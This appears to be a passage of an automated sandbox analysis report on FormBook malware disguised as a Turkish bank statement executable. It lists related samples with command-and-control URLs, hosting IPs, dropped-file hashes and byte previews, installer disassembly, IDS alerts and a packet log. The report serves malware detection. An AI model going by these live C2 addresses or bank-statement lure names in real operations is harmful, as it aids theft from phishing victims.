	FedEX.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sbrco.net/cour/?a8_DM4yx=5K4yHsJ9E8OCo4lpPX/pgOMJL6h904cpHq/DKl+JExs5qHkrFnD9qnICzmg14sLIDD0twRyxTlpGUGv45uAz9uCNeenKauztFA==&FFN0=2dRlFh_p
	kopia p#U0142atno#U015bci.exe	Get hash	malicious	FormBook	Browse	www.t4yfrance.com/dwdp/?Ploxn=NWgjuoil9S/+22DuNJW9gHFfRnzyfGvnsPD5fu3f3YQDroVAltOshqAP1UOAIJ0eSwU/Ico7U9Xz8hxCOYRKQ25tTkvl4SQxCA==&b2Mt=Q4SXxN_hK
	44620.exe	Get hash	malicious	FormBook	Browse	www.t4yfrance.com/dwdp/?y8=NWgjuoil9S/+22DuNJW9gHFfRnzyfGvnsPD5fu3f3YQDroVAltOshqAP1UOAIJ0eSwU/Ico7U9Xz8hxCOYRJIm9xNUft4g0EErls9LM3FR8X&yDKTI=PXyxUJshCVDXBZtP
	0m1W0nDBF5.img	Get hash	malicious	FormBook	Browse	www.t4yfrance.com/dwdp/?5jk=U2Jpt&7nrhV=NWgjuoil9S/+22DuNJW9gHFfRnzyfGvnsPD5fu3f3YQDroVAltOshqAP1UOAIJ0eSwU/Ico7U9Xz8hxCOYRKQ25tTkvl4SQxCA==
	AnOqqu1435.img	Get hash	malicious	FormBook	Browse	www.t4yfrance.com/dwdp/?DR-P=VXa0gzFpvDy&-Zn=NWgjuoil9S/+22DuNJW9gHFfRnzyfGvnsPD5fu3f3YQDroVAltOshqAP1UOAIJ0eSwU/Ico7U9Xz8hxCOYRKQ25tTkvl4SQxCA==
	PO#160942.exe	Get hash	malicious	FormBook	Browse	www.iceboring.com/fuyb/?RnKPtJ=wqXCX8OhtvSlHAZwOfBWnOfZ/R2p/G6DdWl1tzf/7jxUDzpEBU+k0liEEKvagZgTd6jKHbMDh7HhDdjpxPwCk2HXZOkxzIbj4g==&5jU=h4zTzf
	payment receipt.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.sbrco.net/cour/?w0DLPNd=5K4yHsJ9E8OCo4lpPX/pgOMJL6h904cpHq/DKl+JExs5qHkrFnD9qnICzmg14sLIDD0twRyxTlpGUGv45uAz9uCNeenKauztFA==&9rFHcZ=3fudcX1
	Musterkatalog 2022.pdf.exe	Get hash	malicious	FormBook	Browse	www.t4yfrance.com/dwdp/?fZz=NWgjuoil9S/+22DuNJW9gHFfRnzyfGvnsPD5fu3f3YQDroVAltOshqAP1UOAIJ0eSwU/Ico7U9Xz8hxCOYRKQwl8NX3l5SYpCA==&-Zl=7nH43

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.genuineinsights.cloud	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	Akbank_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	captain.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	file.exe	Get hash	malicious	AgentTesla, FormBook	Browse	66.96.162.149
	0900664 MOHS Tender..js	Get hash	malicious	FormBook	Browse	66.96.162.149

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	JWKtbC1vxC.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	OC1e8Xyj0P.exe	Get hash	malicious	FormBook	Browse	172.67.144.31
	dutch_94854_0293_invoice_30495.exe	Get hash	malicious	FormBook	Browse	188.114.97.14
	https://edited.com/	Get hash	malicious	Unknown	Browse	104.16.168.82
	DISCHG.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	doc20230213-01976520230110105630-.exe	Get hash	malicious	AgentTesla	Browse	162.159.128.233
	doc20230216-0197652023011010563-.exe	Get hash	malicious	AgentTesla	Browse	162.159.135.232
	QcoZmWXTxJ.exe	Get hash	malicious	DanaBot, Djvu, SmokeLoader	Browse	188.114.96.3
	FedEx Receipt_1022355161763.exe	Get hash	malicious	AgentTesla	Browse	162.159.135.232
	wQgz3XgUTu.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	BxlvWO2ADY.exe	Get hash	malicious	SmokeLoader	Browse	188.114.96.3
	r69q88yFsf.exe	Get hash	malicious	Djvu, Fabookie, ManusCrypt, SmokeLoader	Browse	188.114.96.3
	lp4mPmFPdO.exe	Get hash	malicious	SmokeLoader	Browse	188.114.96.3
	mstD4W9jcF.exe	Get hash	malicious	SmokeLoader	Browse	188.114.97.3
	aRRaCVg5D4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	188.114.96.3
	GqWqSusfJ9.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	188.114.96.3
	h7L8D8I7BM.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	188.114.97.3
	EgNFnNnFF1.exe	Get hash	malicious	DanaBot, Djvu, Fabookie, RedLine, SmokeLoader	Browse	188.114.96.3
	qPStf4qshA.exe	Get hash	malicious	DanaBot, Djvu, Fabookie, RedLine, SmokeLoader	Browse	188.114.96.3
	2R0eTr71uQ.exe	Get hash	malicious	DanaBot, Djvu, Fabookie, ManusCrypt, RedLine, SmokeLoader	Browse	188.114.96.3
BIZLAND-SDUS	FedEx Express AWB#5305323204643.exe	Get hash	malicious	FormBook	Browse	66.96.147.160
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	Akbank_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	DHL RECEIPT AWB811470484778.exe	Get hash	malicious	FormBook	Browse	66.96.147.160
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	kftt2DEAWT8UMcm.exe	Get hash	malicious	FormBook	Browse	66.96.160.129
	T.C.Ziraat Bankasi A.S_Ekstre_20191102_073809_405251-PDF.com.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	33040117281.exe	Get hash	malicious	CryptoWall	Browse	66.96.147.114
	Purchase Order Form.exe	Get hash	malicious	FormBook, GuLoader	Browse	65.254.248.134
	Lv8QWUVq3P.exe	Get hash	malicious	FormBook	Browse	66.96.162.135
	captain.exe	Get hash	malicious	FormBook	Browse	66.96.162.149
	cnf13429226.vbs	Get hash	malicious	FormBook	Browse	66.96.162.135
	http://img.youtube.com.dollhousedelight.com/.mods/bbb.php	Get hash	malicious	Unknown	Browse	66.96.162.133
	AnQO5F8pVs.exe	Get hash	malicious	FormBook	Browse	66.96.162.128
	fWikJEXL2p.elf	Get hash	malicious	Unknown	Browse	207.148.241.180
	#U03a0#U03b1#U03c1#U03b1#U03b3#U03b3#U03b5#U03bb#U03af#U03b1 0843.exe	Get hash	malicious	AgentTesla	Browse	66.96.160.155
	file.exe	Get hash	malicious	AgentTesla, FormBook	Browse	66.96.162.149
	hIMJgp4RfW.exe	Get hash	malicious	FormBook	Browse	66.96.147.160
	0900664 MOHS Tender..js	Get hash	malicious	FormBook	Browse	66.96.162.149
	order.exe	Get hash	malicious	DBatLoader, FormBook	Browse	66.96.162.129

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\-912K03JO

Download File

Process:	C:\Windows\SysWOW64\colorcpl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2880737026424216
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPQ6YVucbj8Ewn7PrH944:QS/inojVucbj8Ewn7b944
MD5:	5F02C426BCF0D3E3DC81F002F9125663
SHA1:	EA50920666E30250E4BE05194FA7B3F44967BE94
SHA-256:	DF93CD763CFEC79473D0DCF58C77D45C99D246CE347652BF215A97D8D1267EFA
SHA-512:	53EFE8F752484B48C39E1ABFBA05840FF2B968DE2BCAE16287877F69BABE8C54617E76C6953A22789043E27C9CCA9DB4FED5D2C2A512CBDDB5015F4CAB57C198
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf

Download File

Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
File Type:	data
Category:	dropped
Size (bytes):	5915
Entropy (8bit):	7.157482097745004
Encrypted:	false
SSDEEP:	96:Farc6oY3mg/DrYuik2XO5oSw0qZCOtpd/mdIdltd/bEKR6tBLSIxITmgOnewIFcR:FarcRSqhX1SJ7O5/qglv/6B2IxTgb1cR
MD5:	BFC24FD6E69A70B78D387B112A674C87
SHA1:	68FAE5C2D8D1FFD8D31D1C2750AE7CF80A82122B
SHA-256:	387A7FD363C0E27DEA5D1A1BBB4AB93CA9CE80C38DCBDEFA411332896C29FBFC
SHA-512:	D7466FDE7CA71E481580EBB60A6E471A0AD0EF51777CC737ABB65F2B99EC99198A10EAE8C8446A07EE627B4F656091A3A5F7D0FF76F4A27A99900FE2D314C9CE
Malicious:	false
Reputation:	low
Preview:	.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.\|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.\|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1\|..x.q.>.t&.u.\|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..

C:\Users\user\AppData\Local\Temp\ngzifdk.p

Download File

Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
File Type:	data
Category:	dropped
Size (bytes):	210528
Entropy (8bit):	7.998793680310522
Encrypted:	true
SSDEEP:	6144:nRRc7fMj51qLZOiyFkyJPf3hA72XzpPKoEOyx:n/3feIJXxA7cTEOI
MD5:	5AEB5B951D9590CA46194F9AB24FDFD7
SHA1:	66889738A8D35D8E58636B527777DF613E3F12C0
SHA-256:	DD04BFAC4DD4FBFBA2358D448E7A1D55CF6A294F4C59F4FFB0B495DEF98051E1
SHA-512:	4112A429D39D1C2F6BB8CDA4ECD4CFE71CACC88953317753DB1503F0DB5D23E259A5E041FA3B303CB7182DD5B9A819525B0563C128D04DB0A816D8640A6DA86B
Malicious:	false
Reputation:	low
Preview:	.u......]..0_JR...RB..'z].....R..l...c..q..W...O.+DdM.&. ..Y..X;.4...m.t,...A&..........Z.^.........z.N.\.M......LpcJ!g<z...c4..5G. p.`....w'......;.4......=..Gzf.H..C.4z.Wr..".R.\G.z(),....^..u.........H.._.'].{ ....}xW{@M.>...qG....G..a.....V..h..1v....d......DJ.EB.h.........l ..c..q..W...O.+DaM.&. ....X....].W..HX^.......M...F.=..t...k.;..1.B...>.<..%i....!g<z.......c.(.M.,qTEh..\|.uE...Z>.K(.\....H.).8..O%...Wr..".R.r,P..),...^.B.;.\|......H..&.K.I..T,..xW{@M.>..RqG.....S..a$....V.N.hD.1v....]......DJa.B........R..l...c..q..W...O.+DdM.&. ....X....].W..HX^.......M...F.=..t...k.;..1.B...>.<..%i....!g<z.......c.(.M.,qTEh..\|.uE...Z>.K(.\....H.).8..O%...Wr..".R.\G.z(),.o..^.:.; ......H..&.K.I...,.}xW{@M.>..RqG.....S..a$....V.N.hD.1v....]......DJa.B........R..l.*..c..q..W...O.+DdM.&. ....X....].W..HX^.......M...F.=..t...k.;..1.B...>.<..%i....!g<z.......c.(.M.,qTEh..\|.uE...Z>.K(.\....H.).8..O%...Wr..".R.\G.z(),.o..^.:.; ......H..&.K.I...,.}xW{@M.>.

C:\Users\user\AppData\Local\Temp\nsvF67E.tmp

Download File

Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
File Type:	data
Category:	dropped
Size (bytes):	535341
Entropy (8bit):	7.309306707025102
Encrypted:	false
SSDEEP:	12288:J/3feIJXxA7cTEOASg9dfO0v//+UADwP4tU:JffRa7ArefBfDADm4
MD5:	4A28D62EC67A2E5FE6C9C25BDBC9B88B
SHA1:	9FEDF84CDE269C3DFDCA38DF59AE7115E7869D21
SHA-256:	D6D521D162DBB19EBFBC5DD39D118EFC93420524DBB301EBE0860092B36DB8FD
SHA-512:	BBC52BE23A9E296D8AFE51D6061976B2E84B8130576C019FC7423EEC561C2CF786F046FB28C4C524E9D4552BD177367C3A035528A6B224BCDCA409D70A33BBDD
Malicious:	false
Reputation:	low
Preview:	.7......,........................).......6.......7..............................................................................7...........................................................................................................................................................G...............w...j...............................................................................................................................P...........Q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Download File

Process:	C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	304640
Entropy (8bit):	6.533820014090213
Encrypted:	false
SSDEEP:	3072:FQxfgGjGX0zRSoMqBn70YLLLAYd7/a7+ChY4U8mKQADVIZqX+oYjss4QMfJy+ETf:ofBjGX0vMq/+mZADVaqDS4QMBDyWUJZ
MD5:	D2FAF24547268D9525AE7E78CD4DE87A
SHA1:	EECD83FCA0B5772C22728699AE6AEC2725DEAD04
SHA-256:	781F358357CE4F799737854AF64991142D497E815E3E1E3FF092D7B37EBFF87B
SHA-512:	EF0045E96BB7F11E48A14BCCE3B3B11F96155FE756DF5A84CDC6350E0E9BAE0D33D8AFCD315E58A46286F8873AE4D21EDC8818664C3B840C02CB3E1DA400BC70
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.AT../.../.../...,.../....../...+.../...,.../....<./...+.../......./......./...'.../......./...-.../.Rich../.........................PE..L......c............................$+............@.............................................................................@....................................{..............................0{..@............................................text............................... ..`.rdata..T...........................@..@.data....0..........................@....gfids..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.949203272102251
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
File size:	377609
MD5:	0d84005af71574a568567967e666cda5
SHA1:	22bd76803c3d004f48be0b25ba0ec1920ccc3360
SHA256:	05977847b0408ec1abb7b4cd05ad10b4004c97d5c949e579d695d47518f4f376
SHA512:	46f06628757e858149f8879501f6640de31c175a48f973cadc1ddc5e967bf10bf181101288a76eca1c6844c4cc055077ce8269f6a5d32c925b539b08e3a16db9
SSDEEP:	6144:/Ya6ucWe1LyolA8cR/2eUiYI5fCqz7bIMXomfP4lkqrohrNBprLRVdNjnzO59geb:/YYFSbl5GuezCqnUMX9fwlBrohr3RLRk
TLSH:	4F84231A6BE1A433FC5986316D3B57F398FFDB667166034E13A08A0C783E515CA0E762
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....

File Icon


Icon Hash:	b2a88c96b2ca6a72

Static PE Info

General

Entrypoint:	0x403640
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	61259b55b8912888e90f516ca08dc514

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 000003F4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [ebp-14h], ebx
mov dword ptr [ebp-04h], 0040A230h
mov dword ptr [ebp-10h], ebx
call dword ptr [004080C8h]
mov esi, dword ptr [004080CCh]
lea eax, dword ptr [ebp-00000140h]
push eax
mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-00000140h], 0000011Ch
call esi
test eax, eax
jne 00007F5764E8621Ah
lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax
call esi
mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [ebp-26h], 00000004h
not eax
and eax, ecx
mov word ptr [ebp-2Ch], ax
cmp dword ptr [ebp-0000013Ch], 0Ah
jnc 00007F5764E861EAh
and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [0042A318h], eax
xor eax, eax
mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [ebp-2Ch]
movzx ecx, cx
shl eax, 10h
or eax, ecx

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b000	0xce0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6676	0x6800	False	0.6568134014423077	data	6.4174599871908855	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x139a	0x1400	False	0.4498046875	data	5.141066817170598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20378	0x600	False	0.509765625	data	4.110582127654237	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x10000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b000	0xce0	0xe00	False	0.42410714285714285	data	4.234710426242931	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3b1d8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States
RT_DIALOG	0x3b4c0	0x100	data	English	United States
RT_DIALOG	0x3b5c0	0x11c	data	English	United States
RT_DIALOG	0x3b6e0	0x60	data	English	United States
RT_GROUP_ICON	0x3b740	0x14	data	English	United States
RT_VERSION	0x3b758	0x248	data	English	United States
RT_MANIFEST	0x3b9a0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4198.54.117.21249703802031449 02/20/23-11:24:46.771477	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49703	80	192.168.2.4	198.54.117.212
192.168.2.4198.54.117.21249703802031412 02/20/23-11:24:46.771477	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49703	80	192.168.2.4	198.54.117.212
192.168.2.4198.54.117.21249703802031453 02/20/23-11:24:46.771477	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49703	80	192.168.2.4	198.54.117.212
192.168.2.48.8.8.856572532023883 02/20/23-11:23:29.507639	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	56572	53	192.168.2.4	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2023 11:23:31.021285057 CET	49695	80	192.168.2.4	107.148.8.96
Feb 20, 2023 11:23:31.227570057 CET	80	49695	107.148.8.96	192.168.2.4
Feb 20, 2023 11:23:31.227824926 CET	49695	80	192.168.2.4	107.148.8.96
Feb 20, 2023 11:23:31.242640018 CET	49695	80	192.168.2.4	107.148.8.96
Feb 20, 2023 11:23:31.448879004 CET	80	49695	107.148.8.96	192.168.2.4
Feb 20, 2023 11:23:31.448966026 CET	80	49695	107.148.8.96	192.168.2.4
Feb 20, 2023 11:23:31.449002028 CET	80	49695	107.148.8.96	192.168.2.4
Feb 20, 2023 11:23:31.449132919 CET	49695	80	192.168.2.4	107.148.8.96
Feb 20, 2023 11:23:31.449321985 CET	49695	80	192.168.2.4	107.148.8.96
Feb 20, 2023 11:23:31.655419111 CET	80	49695	107.148.8.96	192.168.2.4
Feb 20, 2023 11:23:36.480048895 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:23:39.468640089 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:23:45.469172955 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:23:58.619883060 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:01.626889944 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:07.627307892 CET	49696	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:21.673051119 CET	49697	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:24.738110065 CET	49697	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:27.704953909 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:27.880548954 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:27.880650997 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:27.880846977 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:28.056271076 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.196916103 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.196948051 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.196968079 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.196989059 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.197120905 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:28.197244883 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:28.197280884 CET	80	49698	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:28.197355986 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:29.396611929 CET	49698	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.411048889 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.585022926 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.585208893 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.590812922 CET	49699	80	192.168.2.4	184.94.215.91
Feb 20, 2023 11:24:30.754317999 CET	49697	80	192.168.2.4	194.102.227.30
Feb 20, 2023 11:24:30.764482975 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.862343073 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.862416029 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.862508059 CET	80	49699	184.94.215.91	192.168.2.4
Feb 20, 2023 11:24:30.862557888 CET	80	49699	184.94.215.91	192.168.2.4
